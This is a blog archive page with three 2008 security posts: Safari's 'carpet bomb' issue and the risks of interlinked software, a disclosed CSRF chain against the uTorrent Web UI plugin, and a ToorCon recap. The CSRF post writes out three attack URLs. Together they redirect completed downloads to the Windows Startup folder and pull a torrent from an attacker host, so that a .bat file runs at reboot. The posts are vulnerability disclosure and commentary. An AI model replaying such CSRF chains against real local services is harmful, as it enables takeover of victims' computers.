Archive for the 'Security' Category
Friday, June 20th, 2008
BK on Safari, hunting Firefox…
Apple released a patch for their “Carpet Bomb” issue today. I’m glad to see that Apple took steps to protect their users. Kudos to the Apple Security team!
There was a lot of discussion about how this behavior could be used in a “blended” attack with IE, but Safari’s behavior affected more than just IE. In fact, I’ve discovered a way to use the Safari’s carpet bomb in conjunction with Firefox to steal user files from the local file system. Even though Apple has patched the carpet bomb, I’m not going to go into details as the issue is not patched and the behavior may be replicated via other means (it’s the kinder, gentler BK). I’m also happy to say that some of the improved security features in Firefox 3 help lower (but do not eliminate) the impact of the issue (Firefox 2 users could still be at risk of arbitrary file pwnage). Mozilla is working on the issue and they’ve got a responsive team, so I’m sure we’ll see a fix soon.
- UNREALTED NOTE TO MOZILLA: Firefox 3 shouldn’t FORCE itself to be my default browser after I install it (YES, I unchecked the default browser checkbox during install)
Now, these types of vulnerabilities are a perfect example of how the all the software and systems we use are part of a giant ecosystem. Whether we like it or not, the various parts of the ecosystem are intertwined with each other, depending on each other. When one piece of the ecosystem gets out of line, it can have a dramatic effect on the ecosystem as a whole. A small vulnerability or even an “annoying” behavior from one piece of software could alter the behavior of 2nd piece of software, which a 3rd piece of software is depending on for a security decision (The recent pwn2own browser -> java -> flash pwnage is a great example of this). As the ecosystem grows via plugins, functionality, and new software, so does the attack surface. Eventually, the interactions between systems and software become a gigantic mesh and the attack surface becomes almost infinite.
Now, a lot of people have criticized Apple for their inability to see the carpet bombing behavior as a security issue. If Apple looked at their product (Safari) in isolation, maybe it wasn’t a high risk security issue to them and it was really more of an annoyance… its only when you look at the ecosystem as a whole do we start to see the security implications of this behavior. Should we have expected Apple to threat model the risks of this behavior against their own products AND other third party products as well? Can we reasonably expect them (or anyone) to have the requisite knowledge to truly understand how certain behavior will affect the ecosystem?
This brings us to a pressing question. In the “real world”, users install products from multiple vendors. Whose responsibility is it to examine the interaction between all these products?
Monday, April 21st, 2008
CSRF pwns your box?!?!
Before going talking about an interesting set of CSRF vulnerabilities that were released this weekend, I did want to take a few moments to do some “housekeeping” on the recent spreadsheets.google.com XSS. (1) I gave the Google Security Team the details for this particular issue well before talking about it on my blog. (2) The described issue was fixed by the GST before I even considered publically speaking about the vuln. (3) Part of the vulnerability involved a caching flaw in Google’s servers, this issue is specific to Google and it was also fixed… OK, on to the good stuff…
A few weeks ago, Rob Carter told me about a few interesting CSRF vulnerabilities that he discovered in a uTorrent plugin (he publicly disclosed them this weekend). Rob was able to chain together the CSRF vulnerabilities and the net result is complete compromise of the victim’s machine! I think this may be the first PURE CSRF vulnerability that I’ve seen that resulted in compromise of a victims machine (there is an argument amongst some of my colleagues as to whether protocol handling/URI vulnerabilities are actually a form of CSRF, but that’s another story). The series of vulnerabilities basically follow this flow:
When a user installs the uTorrent Web UI plugin. the plugin essentially starts a locally running web server on your machine (in order to serve the Web UI). Rob targets the CSRF vulnerabilities associated with this locally running web server.
- Rob uses a first CSRF to turn on the “Move completed downloads” option on the uTorrent Web UI. The CSRF looks something like this:
http://localhost:14774/gui/?action=setsetting&s=dir_completed_download_flag&v=1
- Once Rob has “turned on” the “Move completed downloads” functionality, he uses a second CSRF to change the path of where the completed torrent download is placed. In the example he gives, he forces the uTorrent plugin to move completed torrent downloads to the Windows startup folder. This CSRF looks something like this:
http://localhost:14774/gui/?action=setsetting&s=dir_completed_download&v=C:\Documents%20and%20Settings\All%20Users\Start%20Menu\Programs\Startup
- The last step in Rob’s example forces the victim to download a torrent which points to an attacker controlled bat file. Once the file is downloaded, uTorrent places the files into the victim’s startup folder (thanks to the first two CSRFs). This CSRF looks something like this:
http://localhost:14774/gui/?action=add-url&s=http://www.attacker.com/file.torrent
Once the file is placed, the next time the user restarts their machine, the attacker controlled file will be run… there you have it… compromise of a victim’s system through three CSRFs! Scary stuff… you can read more about the issue on Robs Blog <robs blog>.
Monday, April 21st, 2008
ToorCon ROCKED!
ToorCon this weekend totally ROCKED. Any venue that has flaming tetherball, major websites getting pwnd, hawt hacker chics pwning backbone protocols, java 0-days, and free beer has to ROCK. All the talks I caught were awesome and the con has inspired me to look into some new avenues of research (aka pwnage).
Thanks to H1kari, tim, Geo, and Phil for having me out!